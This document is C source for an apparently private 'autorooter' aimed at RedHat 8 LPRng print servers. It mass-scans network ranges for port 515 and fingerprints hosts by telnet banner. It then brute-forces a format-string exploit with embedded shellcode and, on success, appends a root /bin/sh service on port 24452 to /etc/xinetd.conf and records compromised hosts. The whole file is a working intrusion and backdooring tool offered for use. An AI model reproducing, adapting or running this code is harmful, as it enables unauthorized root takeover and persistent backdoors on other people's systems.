/* ** ** RedHat 8x LPRng AUTOROOTER! by dave_ ** ** ** Private shit... Dont distro... ** ** */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define BDPORT 24452 #define ROOTLIST "alpd.master" #define ADDRESS_BUFFER_SIZE 32+4 #define APPEND_BUFFER_SIZE 52 #define FORMAT_LENGTH 512-8 #define NOPCOUNT 200 #define SHELLCODE_COUNT 1030 #define DELAY 90000 /* usecs */ #define OFFSET_LIMIT 60 #define SOCK_TIMEOUT 6 #define FORKLIMIT 100 #define START_EIP 0xbffff3e0 /* pscan stuff */ #define MAX_SOCKETS 600 // This setting greatly influences the speed of // If you are running from a nice speed // box, set it to 900 or so. #define TIMEOUT 6 #define S_NONE 0 #define S_CONNECTING 1 struct conn_t { int s; char status; time_t a; struct sockaddr_in addr; }; struct conn_t connlist[MAX_SOCKETS]; void init_sockets(void); void check_sockets(void); void fatal(char *); /* end pscan stuff */ struct our_format { char *ip; }; struct our_format pscan_list[6500]; char shellcode[] = "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; struct target { char *os_name; u_long eip_address; u_long shellcode_address; unsigned int position; int written_bytes; int align; }; struct target targets[] = { { "RedHat 8.0", 0xbffff3ec, 0L, 300, 70, 2, }, { "RedHat 8.0", 0xbffff12c, 0L, 300, 70, 2, }, { NULL, 0L, 0L, 0, 0, 0 } }; static char address_buffer[ADDRESS_BUFFER_SIZE+1]; static char append_buffer[APPEND_BUFFER_SIZE+1]; static char shellcode_buffer[1024]; int offset=0, totalowned=0, totalvuln=0; int type=-1, shell=0, pnum=0, vnum=0, numforks=0, tot=0; int brute=-1, failure=1; char *he; void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc) { int i; unsigned int tmp = 0; unsigned int copied = previous; unsigned int num[4] = { (unsigned int) (shellcode_addr & 0x000000ff), (unsigned int)((shellcode_addr & 0x0000ff00) >> 8), (unsigned int)((shellcode_addr & 0x00ff0000) >> 16), (unsigned int)((shellcode_addr & 0xff000000) >> 24) }; memset (address_buffer, '\0', sizeof(address_buffer)); memset (append_buffer, '\0', sizeof(append_buffer)); for (i = 0; i < 4; i++) { while (copied > 0x100) copied -= 0x100; if ( (i > 0) && (num[i-1] == num[i]) ) sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); else if (copied < num[i]) { if ((num[i] - copied) <= 10) { sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i] - copied), "security.is!"); copied += (num[i] - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } else { sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied); copied += (num[i] - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } } else { tmp = ((num[i] + 0x100) - copied); sprintf(append_buffer+strlen(append_buffer), "%%.%du", tmp); copied += ((num[i] + 0x100) - copied); sprintf(append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } sprintf(address_buffer+strlen(address_buffer), "%c%c%c%c", (unsigned char) ((eip_addr+i) & 0x000000ff), (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8), (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16), (unsigned char)(((eip_addr+i) & 0xff000000) >> 24)); } while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE) strcat (address_buffer, "X"); #ifdef DEBUG printf ("\nGeneration complete:\nAddress: "); for (i = 0; i < strlen(address_buffer); i++) { if ( ((i % 4) == 0) && (i > 0) ) printf ("."); printf ("%02x", (unsigned char)address_buffer[i]); } printf ("\nAppend: %s\n", append_buffer); #endif return; } char *create_malicious_string(void) { static char format_buffer[FORMAT_LENGTH+1]; long addr1,addr2; int i; memset (format_buffer, '\0', sizeof(format_buffer)); targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT; addr1 = targets[type].eip_address; addr2 = targets[type].shellcode_address; calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position); (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s", targets[type].align, "BBBB", address_buffer); strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1); strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1); for(i = 0 ; i < NOPCOUNT ; i++) strcat(format_buffer, "\x90"); strcat(format_buffer, shellcode); return (format_buffer); } int chkbd() { int sockfd; FILE *master; struct sockaddr_in dest_addr; sockfd = socket(AF_INET, SOCK_STREAM, 0); dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(BDPORT); dest_addr.sin_addr.s_addr = inet_addr(he); alarm(5); if(connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1) { return -1; } alarm(0); close(sockfd); printf("owned (port %d)", BDPORT); fflush(stdout); totalowned++; master=fopen(ROOTLIST, "a"); fprintf(master, "%s\n", inet_ntoa(dest_addr.sin_addr)); fclose(master); return 1; } int connect_victim() { int sockfd, n; struct sockaddr_in s; fd_set fd_stat; char buff[1024], bdcmd2[256]; static char testcmd[256] = "/bin/uname -a ; id ;\r\n"; static char bdcmd1[256] = "echo \"service reg\" >>/etc/xinetd.conf; echo \"{\" >>/etc/xinetd.conf; echo \"socket_type = stream\" >>/etc/xinetd.conf;\r\n"; static char bdcmd3[256] = "echo \"user = root\" >>/etc/xinetd.conf; echo \"server = /bin/sh\" >>/etc/xinetd.conf; echo \"server_args = -i\" >>/etc/xinetd.conf;\r\n"; static char bdcmd4[256] = "echo \"}\" >>/etc/xinetd.conf; /etc/rc.d/init.d/xinetd restart;\r\n"; s.sin_family = AF_INET; s.sin_port = htons(3879); s.sin_addr.s_addr = inet_addr(he); memset(&bdcmd2, 0, sizeof(bdcmd2)); sprintf(bdcmd2, "echo \"port = %d\" >>/etc/xinetd.conf; echo \"protocol = tcp\" >>/etc/xinetd.conf; echo \"wait = no\" >>/etc/xinetd.conf;\r\n", BDPORT); if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf ("--- [5] Unable to create socket!\n"); printf("Exploit failed!\n"); return -1; } if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0) return -1; #ifdef VERBOSE printf("+++ The eip_address is 0x%x\n", targets[type].eip_address); printf("- [+] Sending backdoor code... (port %d)\n", BDPORT); #endif failure = -1; FD_ZERO(&fd_stat); FD_SET(sockfd, &fd_stat); if (shell == 1) { send(sockfd, testcmd, strlen(testcmd), 0); while(1) { FD_SET(sockfd,&fd_stat); FD_SET(0,&fd_stat); if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break; if( FD_ISSET(sockfd, &fd_stat) ) { if((n=read(sockfd,buff,sizeof(buff)))<0){ fprintf(stderr, "EOF\n"); return 2; } if(write(1,buff,n)<0)break; } if ( FD_ISSET(0, &fd_stat) ) { if((n=read(0,buff,sizeof(buff)))<0) { fprintf(stderr,"EOF\n"); return 2; } if(send(sockfd,buff,n,0)<0) break; } } } else { send(sockfd, bdcmd1, strlen(bdcmd1), 0); send(sockfd, bdcmd2, strlen(bdcmd2), 0); send(sockfd, bdcmd3, strlen(bdcmd3), 0); send(sockfd, bdcmd4, strlen(bdcmd4), 0); sleep(5); close(sockfd); if (!fork()) { chkbd(); exit(0); } else { wait(NULL); return -1; } } } int send_code(char *exploit_buffer) { int sockfd, n; struct sockaddr_in s; fd_set fd_stat; char recv[1024]; static char testcmd[256] = "/bin/uname -a ; id ;\r\n"; s.sin_family = AF_INET; s.sin_port = htons (515); s.sin_addr.s_addr = inet_addr(he); #ifdef VERBOSE printf("offset: %d eip: 0x%x\n", offset, START_EIP - offset); #endif if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("--- [5] Unable to create socket!\n"); printf("Exploit failed!\n"); return -1; } if ((connect(sockfd, (struct sockaddr *) &s, sizeof (s))) < 0) { printf("--- [5] Unable to connect to %s\n", he); printf("Exploit failed, %s is not running LPD!\n", he); return -1; } usleep(DELAY); if(write(sockfd, exploit_buffer, strlen(exploit_buffer)) < 0) { printf("Couldn't write to socket %d", sockfd); printf("Exploit failed\n"); exit(2); } close(sockfd); if(connect_victim() == 0) return 0; } void usage(char *program) { printf("[- ALPD -] Linux LPRng AutoRooter\n"); printf("November 2000 by _dave\n\n"); printf("Usage: %s \n", program); printf("eg: %s 24.1\n", program); exit(-1); } int startbanner(char *target) { int cur; char vbuf[1024]; FILE *f; printf("++ Now running banner scan on %s ips.\n", target); for (cur=0; cur < pnum; cur++) { if (!fork()) { bscan(pscan_list[cur].ip); free(pscan_list[cur].ip); exit(0); } else { numforks++; if (numforks > FORKLIMIT) for (numforks; numforks > FORKLIMIT; numforks--) wait(NULL); } } printf("++ Waiting for processes to die...\n"); /* Wait for processes to die before we continue! */ sleep(20); printf("Can I get a ROOT ROOT?!#\n"); if ((f=fopen("alpd.temp", "r")) == NULL) { fprintf(stderr, "No vulnerable boxes for %s.\n", target); return -1; } while (!feof(f)) { memset(&vbuf, 0, sizeof(vbuf)); fgets((char *) &vbuf, sizeof(vbuf), f); if (vbuf[strlen(vbuf) - 1] == '\n') vbuf[strlen(vbuf) - 1] = '\0'; if (strlen(vbuf) > 1) { printf("\nTrying to own %s...", vbuf); fflush(stdout); totalvuln++; lpdex(vbuf); } } fclose(f); unlink("alpd.temp"); printf("\n++ Check %s for results.\n", ROOTLIST); totalowned=0; totalvuln=0; } int main(int argc, char *argv[]) { int nump=0, b; char ip[17], salt[3], *parse, *type, *inpass; if (argc < 2) usage(argv[0]); parse=argv[1]; for (parse; *parse != '\0'; *parse++) if (*parse == '.') nump++; if (nump > 1) usage(argv[0]); unlink("alpd.temp"); if (nump == 0) /* a class */ { for (b=0; b<=254; b++) { memset(&ip, 0, sizeof(ip)); sprintf(ip, "%s.%d", argv[1], b); pnum=0; pscan(ip); startbanner(ip); } } if (nump == 1) /* b class */ { pscan(argv[1]); startbanner(argv[1]); } printf("You are now a certified hax0r. Enjoy.\n"); } int lpdex(char *iptoroot) { char exploit_buffer[1024]; char *format = NULL; int c, brutecount=0; type = 0; brute = 1; he = iptoroot; targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT; #ifdef VERBOSE printf("+++ Brute forcing %s with our format string\n", iptoroot); #endif targets[type].eip_address = START_EIP; while(failure) { memset(exploit_buffer, '\0', sizeof(exploit_buffer)); format = create_malicious_string(); strcpy(exploit_buffer, address_buffer); strcat(exploit_buffer, format); strcat(exploit_buffer, "\n"); if(send_code(exploit_buffer) == 0) return 0; // was 0xbffffff0 targets[type].eip_address = START_EIP - offset; offset+=4; if (offset > OFFSET_LIMIT) { #ifdef VERBOSE printf("+++ Offset limit hit, ending brute mode.\n"); #endif offset=0; return -1; } } } int pscan(char *class) { int done, i, cip, bb, ret, k, ns; time_t scantime; char ip[20]; done = 0; cip = 1; bb = 0; init_sockets(); scantime = time(0); printf("++ Running portscan on %s\n", class); while(!done) { for (i = 0; i < MAX_SOCKETS; i++) { if (cip == 255) { if ((bb == 255)) { ns = 0; for (k = 0; k < MAX_SOCKETS; k++) { if (connlist[k].status > S_NONE) { ns++; break; } } if (ns == 0) done = 1; break; } else { cip = 0; bb++; } } if (connlist[i].status == S_NONE) { connlist[i].s = socket(AF_INET, SOCK_STREAM, 0); if (connlist[i].s == -1) printf("Unable to allocate socket.\n"); else { ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK); if (ret == -1) { printf("Unable to set O_NONBLOCK\n"); close(connlist[i].s); } else { memset((char *)ip, 0, 20); sprintf(ip, "%s.%d.%d", class, bb, cip); connlist[i].addr.sin_addr.s_addr = inet_addr(ip); if (connlist[i].addr.sin_addr.s_addr == -1) fatal("Invalid IP."); connlist[i].addr.sin_family = AF_INET; connlist[i].addr.sin_port = htons(515); connlist[i].a = time(0); connlist[i].status = S_CONNECTING; cip++; } } } } check_sockets(); } } void init_sockets(void) { int i; for (i = 0; i < MAX_SOCKETS; i++) { connlist[i].status = S_NONE; memset((struct sockaddr_in *)&connlist[i].addr, 0, sizeof(struct sockaddr_in)); } } void check_sockets(void) { int i, ret; for (i = 0; i < MAX_SOCKETS; i++) { if ((connlist[i].a < (time(0) - TIMEOUT)) && (connlist[i].status == S_CONNECTING)) { close(connlist[i].s); connlist[i].status = S_NONE; } else if (connlist[i].status == S_CONNECTING) { ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr, sizeof(struct sockaddr_in)); if (ret == -1) { if (errno == EISCONN) { pscan_list[pnum].ip=(char *)malloc(17); strcpy(pscan_list[pnum].ip, inet_ntoa(connlist[i].addr.sin_addr)); pnum++; close(connlist[i].s); connlist[i].status = S_NONE; } if ((errno != EALREADY) && (errno != EINPROGRESS)) { close(connlist[i].s); connlist[i].status = S_NONE; } } else { pscan_list[pnum].ip=(char *)malloc(17); strcpy(pscan_list[pnum].ip, inet_ntoa(connlist[i].addr.sin_addr)); pnum++; close(connlist[i].s); connlist[i].status = S_NONE; } } } } void fatal(char *err) { int i; printf("Error: %s\n", err); for (i = 0; i < MAX_SOCKETS; i++) { if (connlist[i].status >= S_CONNECTING) close(connlist[i].s); } } int bscan(char *host) { struct sockaddr_in sin; int sock, len; u_char buf[4000]; FILE *ihatetempfiles; sock = socket(AF_INET, SOCK_STREAM, 0); if (!sock) { fprintf(stderr, "unable to get a socket\n"); return; } sin.sin_family = AF_INET; sin.sin_port = htons(23); sin.sin_addr.s_addr = inet_addr(host); alarm(10); if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) == 0) { while (1) { memset(buf, 0, sizeof(buf)); if ((len = read (sock, buf, 1)) <= 0) break; if (*buf == (unsigned int) 255) { read(sock, (buf + 1), 2); if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2)); else if ((u_char) * (buf + 1) == (unsigned int) 253) { *(buf + 1) = 252; write (sock, buf, 3); } } else { if (*buf != 0) { bzero (buf, sizeof (buf)); read (sock, buf, sizeof (buf)); usleep(40000); if (strstr(buf, "Guinness")) { #ifdef VERBOSE printf("Writing %s\n", host); #endif ihatetempfiles=fopen("alpd.temp", "a"); fprintf(ihatetempfiles, "%s\n", host); fclose(ihatetempfiles); alarm(0); return 1; } } } } } alarm(0); close(sock); return; }